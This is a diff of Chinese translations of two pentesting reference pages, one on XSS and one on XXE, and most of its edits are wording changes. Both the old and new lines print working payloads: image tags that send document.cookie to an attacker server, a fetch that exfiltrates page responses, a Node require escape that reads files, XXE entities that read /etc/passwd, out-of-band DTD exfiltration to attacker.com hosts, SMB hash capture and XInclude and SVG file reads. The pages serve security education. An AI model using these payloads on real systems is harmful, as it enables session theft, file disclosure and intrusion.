@ -739,21 +739,21 @@ top[8680439..toString(30)](1)
```
## **DOM 漏洞**
**JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
**JS 代码** 使用 **由攻击者不安全控制的数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
**由于对** [**DOM 漏洞的解释扩展,已移至此页面**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
在那里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
此外,不要忘记**提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
在那里你会找到关于 **DOM 漏洞是什么、如何引发它们以及如何利用它们的详细解释**。\
此外,别忘了**提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
### 升级自我 XSS
### 升级 Self-XSS
### Cookie XSS
如果你可以通过在 cookie 中发送有效负载来触发 XSS这通常是自我 XSS。然而如果你发现一个 **易受 XSS 攻击的子域名**,你可以利用这个 XSS 在整个域中注入一个 cookie从而在主域或其他子域易受 cookie XSS 攻击的那些)中触发 cookie XSS。为此你可以使用 cookie 投掷攻击:
如果你可以通过在 cookie 中发送有效负载来触发 XSS这通常是自我 XSS。然而如果你发现一个 **易受 XSS 攻击的子域名**,你可以利用这个 XSS 在整个域中注入一个 cookie从而在主域或其他子域易受 cookie XSS 攻击的那些)中触发 cookie XSS。为此你可以使用 cookie tossing 攻击:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -783,12 +783,12 @@ dom-xss.md
```
### Ruby-On-Rails 绕过
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后引号限制被绕过额外字段onfocus可以被添加到标签内。\
表单示例 ([from this report](https://hackerone.com/reports/709336)),如果发送有效负载:
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后绕过引号限制,并且可以在标签内添加额外字段onfocus。\
表单示例 ([from this report](https://hackerone.com/reports/709336)),如果发送有效负载:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
"键","值"将被回显如下:
成对的 "Key","Value" 将被回显如下:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -824,24 +824,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS与302响应中的头部注入
### XSS with header injection in a 302 response
如果你发现可以**302重定向响应中注入头部**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体因此仅仅一个跨站脚本有效载荷是无用的。
如果你发现可以**302 重定向响应中注入头部**,你可以尝试 **让浏览器执行任意 JavaScript**。这 **并不简单**,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体,因此仅仅一个跨站脚本有效载荷是无用的。
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中你可以阅读如何测试Location头部中的几种协议并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
已知的过去协议:`mailto://``//x:1/``ws://``wss://`_空Location头部_`resource://`
[**这份报告**](https://www.gremwell.com/firefox-xss-302) [**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中,你可以阅读如何测试 Location 头部中的几种协议,并查看其中是否有任何协议允许浏览器检查并执行响应体中的 XSS 有效载荷。\
已知的过去协议: `mailto://` `//x:1/` `ws://` `wss://` _空 Location 头部_ `resource://`
### 仅限字母、数字和点
如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。
如果你能够指示 JavaScript 将要 **执行****回调** 限制在这些字符内。 [**阅读这篇文章的这一部分**](#javascript-function) 以了解如何利用这种行为。
### 有效的`<script>`内容类型以进行XSS
### 有效的 `<script>` 内容类型以进行 XSS
(来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个**内容类型**为`application/octet-stream`的脚本Chrome将抛出以下错误
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个 **内容类型** `application/octet-stream` 的脚本Chrome 将抛出以下错误:
> 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本因为其MIME类型application/octet-stream不可执行并且启用了严格的MIME类型检查。
> 拒绝从 [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') 执行脚本,因为其 MIME 类型application/octet-stream不可执行并且启用了严格的 MIME 类型检查。
唯一支持Chrome运行**加载脚本**的**Content-Type**是来自[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)的常量**`kSupportedJavascriptTypes`**中的类型。
唯一支持 Chrome 运行 **加载脚本** **Content-Type** 是来自 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) 的常量 **`kSupportedJavascriptTypes`** 中的类型。
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -869,10 +869,8 @@ const char* const kSupportedJavascriptTypes[] = {
```html
<script type="???"></script>
```
答案是:
- **module**(默认,无需解释)
- [**webbundle**](https://web.dev/web-bundles/)Web Bundles 是一个功能您可以将一堆数据HTML、CSS、JS…打包到一个 **`.wbn`** 文件中。
- **module** (默认,无需解释)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能您可以将一堆数据HTML、CSS、JS…打包到一个 **`.wbn`** 文件中。
```html
<script type="webbundle">
{
@ -996,13 +994,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- 间接访问 `require`
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内,如下所示:
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包裹在一个函数中,如下所示:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
因此,如果我们可以从该模块**调用另一个函数**,则可以使用 `arguments.callee.caller.arguments[1]` 从该函数访问 **`require`**
因此,如果我们可以从该模块**调用另一个函数**,则可以从该函数使用 `arguments.callee.caller.arguments[1]` 访问 **`require`**
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1246,7 +1244,7 @@ steal-info-js.md
../iframe-traps.md
{{#endref}}
### 获取 Cookies
### 检索 Cookies
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1284,7 +1282,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open("GET", url, true)
xhr.send(null)
```
### 查找内部IP地址
### 查找内部IP
```html
<script>
var q = []
@ -1383,7 +1381,7 @@ body:username.value+':'+this.value
### Keylogger
仅在 GitHub 上搜索,我发现了一些不同的:
仅在 GitHub 上搜索,我找到了几个不同的:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1539,13 +1537,13 @@ xss-in-markdown.md
```python
<esi:include src="http://yoursite.com/capture" />
```
使用它来绕过 cookie 限制、XSS 过滤器等更多内容\
有关此技术的更多信息,请参见[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
用它来绕过 cookie 限制、XSS 过滤器等更多!\
有关此技术的更多信息,请查看[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
### 动态创建 PDF 中的 XSS
如果网页使用用户控制的输入创建 PDF您可以尝试 **欺骗创建 PDF 的机器人****执行任意 JS 代码**。\
因此,如果 **PDF 创建机器人发现** 某种 **HTML** **标签**,它将 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**
因此,如果 **PDF 创建机器人发现** 某种 **HTML** **标签**,它将 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**
{{#ref}}
server-side-xss-dynamic-pdf.md
@ -1563,7 +1561,7 @@ AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaSc
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
### XSS 上传文件 (svg)

View File

@ -10,13 +10,13 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
- **定义XML元素**XML允许定义元素类型概述元素应如何结构化以及可以包含哪些内容从任何类型的内容到特定的子元素。
- **文档类型定义DTD**DTD在XML中对于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合指导文档的格式和验证方式。
- **自定义和外部实体**XML支持在DTD中创建自定义实体以实现灵活的数据表示。外部实体通过URL定义带来了安全隐患特别是在XML外部实体XXE攻击的背景下这些攻击利用XML解析器处理外部数据源的方式`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **使用参数实体检测XXE**为了检测XXE漏洞特别是在常规方法因解析器安全措施而失败时可以利用XML参数实体。这些实体允许使用带外检测技术例如触发DNS查找或向受控域发HTTP请求以确认漏洞。
- **使用参数实体检测XXE**为了检测XXE漏洞特别是在常规方法因解析器安全措施而失败时可以利用XML参数实体。这些实体允许使用带外检测技术例如触发DNS查找或向受控域发HTTP请求以确认漏洞。
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## 主要攻击
[**这些攻击大多是在出色的Portswiggers XEE实验室中测试的https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
[**这些攻击大多是在出色的Portswiggers XEE实验室中测试的 https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### 新实体测试
@ -35,7 +35,7 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
让我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows你可以尝试读取: `C:\windows\system32\drivers\etc\hosts`
在这个第一个例子中,请注意 SYSTEM "_\*\*file:///\*\*etc/passwd_" 也会有效。
在这个第一个例子中,请注意 SYSTEM "_**file:///**etc/passwd_" 也会有效。
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@ -49,7 +49,7 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
这个第三个案例中,请注意我们将 `Element stockCheck` 声明为 ANY。
第三种情况下,请注意我们将 `Element stockCheck` 声明为 ANY。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
@ -65,7 +65,7 @@ XML是一种用于数据存储和传输的标记语言具有灵活的结构
### 目录列表
在**Java**基础的应用程序中可能通过XXE使用类似的有效负载**列出目录的内容**(只请求目录而不是文件):
在**Java**基础的应用程序中可能通过XXE使用如下有效载荷**列出目录的内容**(只请求目录而不是文件):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -83,7 +83,7 @@ XXE 可以被用来滥用云中的 SSRF
```
### Blind SSRF
使用**之前提到的技术**,您可以让服务器访问您控制的服务器,以显示其存在漏洞。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,您可以尝试使用**XML 参数实体**
使用**之前提到的技术**,您可以让服务器访问您控制的服务器以显示其脆弱性。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,您可以尝试使用**XML 参数实体**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -91,7 +91,7 @@ XXE 可以被用来滥用云中的 SSRF
```
### "盲" SSRF - 通过带外方式提取数据
**在这种情况下,我们将使服务器加载一个带有恶意负载的新 DTD该负载将通过 HTTP 请求发送文件的内容(对于多行文件,您可以尝试通过 \_ftp://**\_ 来提取,使用这个基本服务器,例如 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。这个解释基于** [**Portswiggers 实验室**](https://portswigger.net/web-security/xxe/blind)**。**
**在这种情况下,我们将使服务器加载一个带有恶意负载的新 DTD该负载将通过 HTTP 请求发送文件的内容(对于多行文件,您可以尝试通过 \_ftp://**\_ 来提取,例如使用这个基本服务器 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。这个解释基于** [**Portswiggers 实验室**](https://portswigger.net/web-security/xxe/blind)**。**
在给定的恶意 DTD 中,执行了一系列步骤以提取数据:
@ -115,17 +115,26 @@ XXE 可以被用来滥用云中的 SSRF
攻击者在其控制的服务器上托管此恶意 DTD通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
**XXE Payload:** 为了利用一个易受攻击的应用程序,攻击者发送一个 XXE payload
**XXE Payload:** 为了利用一个脆弱的应用程序,攻击者发送一个 XXE payload
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。解析器随后内联解释 DTD执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。然后解析器在线解释 DTD执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
### 基于错误的(外部 DTD
**在这种情况下,我们将使服务器加载一个恶意 DTD该 DTD 将在错误消息中显示文件的内容(仅在您可以看到错误消息时有效)。** [**示例来自这里。**](https://portswigger.net/web-security/xxe/bl
**在这种情况下,我们将使服务器加载一个恶意 DTD该 DTD 将在错误消息中显示文件的内容(仅在您可以看到错误消息时有效)。** [**示例来自这里。**](https://portswigger.net/web-security/xxe/blind)
可以通过恶意外部文档类型定义DTD触发一个 XML 解析错误消息,揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的:
1. 定义一个名为 `file` 的 XML 参数实体,其中包含 `/etc/passwd` 文件的内容。
2. 定义一个名为 `eval` 的 XML 参数实体,包含对另一个 XML 参数实体 `error` 的动态声明。当评估这个 `error` 实体时,它尝试加载一个不存在的文件,将 `file` 实体的内容作为其名称。
3. 调用 `eval` 实体,导致 `error` 实体的动态声明。
4. 调用 `error` 实体导致尝试加载一个不存在的文件,产生一个错误消息,其中包含 `/etc/passwd` 文件的内容作为文件名的一部分。
可以使用以下 XML 调用恶意外部 DTD
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
@ -135,13 +144,13 @@ XXE 可以被用来滥用云中的 SSRF
![](<../images/image (809).png>)
_**请注意,外部 DTD 允许我们在第二个实体内部包含一个实体(\*\***`eval`\***\*,但在内部 DTD 中是禁止的。因此,通常情况下,您无法在不使用外部 DTD 的情况下强制产生错误。**_
_**请注意,外部 DTD 允许我们在第二个 `eval` 中包含一个实体,但在内部 DTD 中是禁止的。因此,通常情况下,您无法在不使用外部 DTD 的情况下强制产生错误。**_
### **基于错误(系统 DTD**
### **基于错误的 (系统 DTD)**
那么,当 **出带交互被阻止**(外部连接不可用)时,盲 XXE 漏洞怎么办?
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了从内部 DTD 中重新定义原本在外部 DTD 中声明的 XML 参数实体。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了 XML 参数实体的重新定义,该实体最初在外部 DTD 中声明,从内部 DTD 中进行重新定义。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。
考虑一个场景,其中服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱发 XML 解析错误,从而揭示 `/etc/passwd` 文件的内容,如下所示:
```xml
@ -158,11 +167,11 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
```
所述步骤由以下 DTD 执行:
- 定义一个名为 `local_dtd` 的 XML 参数实体,包括位于服务器文件系统上的外部 DTD 文件。
- XML 参数实体 `local_dtd` 的定义包括位于服务器文件系统上的外部 DTD 文件。
- 对 `custom_entity` XML 参数实体进行重新定义,该实体最初在外部 DTD 中定义,以封装一个 [基于错误的 XXE 漏洞](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。此重新定义旨在引发解析错误,从而暴露 `/etc/passwd` 文件的内容。
- 通过使用 `local_dtd` 实体,外部 DTD 被调用,包含新定义的 `custom_entity`。这一系列操作导致了漏洞所针对的错误消息的产生
- 通过使用 `local_dtd` 实体,外部 DTD 被调用,包含新定义的 `custom_entity`。这一系列操作导致了漏洞所针对的错误消息的发出
**现实世界示例:** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 中有一个 DTD包含一个名为 `ISOamso` 的实体。
**现实世界示例:** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 处有一个 DTD其中包含一个名为 `ISOamso` 的实体。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -179,7 +188,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
```
![](<../images/image (625).png>)
由于此技术使用**内部 DTD您需要先找到一个有效的 DTD**。您可以通过**安装**服务器使用的相同**操作系统/软件**并**搜索一些默认 DTD**,或者**获取系统内的默认 DTD 列表**并**检查**它们是否存在:
由于此技术使用**内部 DTD您需要先找到一个有效的 DTD**。您可以通过**安装**服务器正在使用的相同**操作系统/软件**并**搜索一些默认 DTD**,或者**获取系统内的默认 DTD 列表**并**检查**它们是否存在:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -214,7 +223,7 @@ Testing 0 entities : []
许多网络应用程序提供**上传 Microsoft Office 文档的功能**,然后提取这些文档中的某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它不可避免地需要解析至少一个 XML 文件。
要测试此漏洞,需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到该目录中。
要测试此漏洞,需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到中。
一旦文档被解压缩,位于 `./unzipped/word/document.xml` 的 XML 文件应在首选文本编辑器(如 vim中打开并编辑。XML 应修改以包含所需的 XXE 有效负载,通常以 HTTP 请求开头。
@ -237,12 +246,12 @@ jar:https://download.host.com/myarchive.zip!/file.txt
通过 jar 协议访问 PKZIP 存档中的文件的过程涉及几个步骤:
1. 发出 HTTP 请求,从指定位置下载 zip 存档,例如 `https://download.website.com/archive.zip`
2. 包含存档的 HTTP 响应暂时存储在系统上,通常在 `/tmp/...` 位置
2. 包含存档的 HTTP 响应暂时存储在系统上,通常在 `/tmp/...` 这样的地方
3. 然后提取存档以访问其内容。
4. 读取存档中的特定文件 `file.zip`
5. 操作完成后,删除在此过程中创建的任何临时文件。
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一目的,包括 Python 服务器 (`slow_http_server.py`) 和 Java 服务器 (`slowserver.jar`)。
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一点,包括一个 Python 服务器 (`slow_http_server.py`) 和一个 Java 服务器 (`slowserver.jar`)。
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -289,7 +298,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```bash
Responder.py -I eth0 -v
```
通过发送以下请求
通过发送以下请求
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
@ -301,7 +310,7 @@ Responder.py -I eth0 -v
### XInclude
在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得由于对修改 `DOCTYPE` 元素的限制,传统的 XXE 攻击受到阻碍。然而,`XInclude` 攻击提供了解决方案,通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据,这种方法也是有效的。
在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得由于对 `DOCTYPE` 元素的修改限制而阻碍了传统的 XXE 攻击。然而,`XInclude` 攻击提供了解决方案,通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据,这种方法也是有效的。
要执行 `XInclude` 攻击,必须声明 `XInclude` 命名空间,并指定所需外部实体的文件路径。以下是如何制定此类攻击的简洁示例:
```xml
@ -311,9 +320,9 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
### SVG - 文件上传
用户上传到某些应用程序的文件,然后在服务器上处理,可利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
用户上传到某些应用程序的文件,然后在服务器上处理,可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
当用户 **上传图像** 时,这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,可以被攻击者利用来提交恶意 SVG 图像,从而使服务器暴露于 XXE (XML External Entity) 漏洞。
当用户 **上传图像** 时,这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,攻击者可以利用它提交恶意 SVG 图像,从而使服务器暴露于 XXEXML 外部实体)漏洞。
下面展示了一个此类攻击的示例,其中恶意 SVG 图像试图读取系统文件:
```xml
@ -327,7 +336,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
```
在这两种情况下SVG 格式被用来发起攻击,利用服务器软件的 XML 处理能力,突显了对强大输入验证和安全措施的需求。
查看 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) 获取更多信息!
查看 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) 获取更多信息!
**注意,读取文件的第一行或执行结果将出现在创建的图像内部。因此,您需要能够访问 SVG 创建的图像。**
@ -359,7 +368,7 @@ Content-Length: 52
```
### Content-Type: 从 JSON 到 XEE
要更改请求,您可以使用名为“**Content Type Converter**”的 Burp 扩展。 [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
要更改请求,您可以使用一个名为“**Content Type Converter**”的 Burp 扩展。 [这里](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) 您可以找到这个例子:
```xml
Content-Type: application/json;charset=UTF-8
@ -399,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8
### UTF-7
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为 UTF-7。
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\]\[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4将其转换为 UTF-7。
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -421,7 +430,7 @@ Content-Type: application/xml;charset=UTF-8
来自 [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
您可以创建一个 **实体内部的实体**,通过 **html 实体** 编码,然后调用它来 **加载 dtd**。\
请注意,使用的 **HTML 实体** 需要是 **数字**(如 \[在这个例子中\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
请注意,使用的 **HTML 实体** 需要是 **数字**(如 \[在这个例子中]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -467,7 +476,7 @@ DTD 示例:
这个例子灵感来源于 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
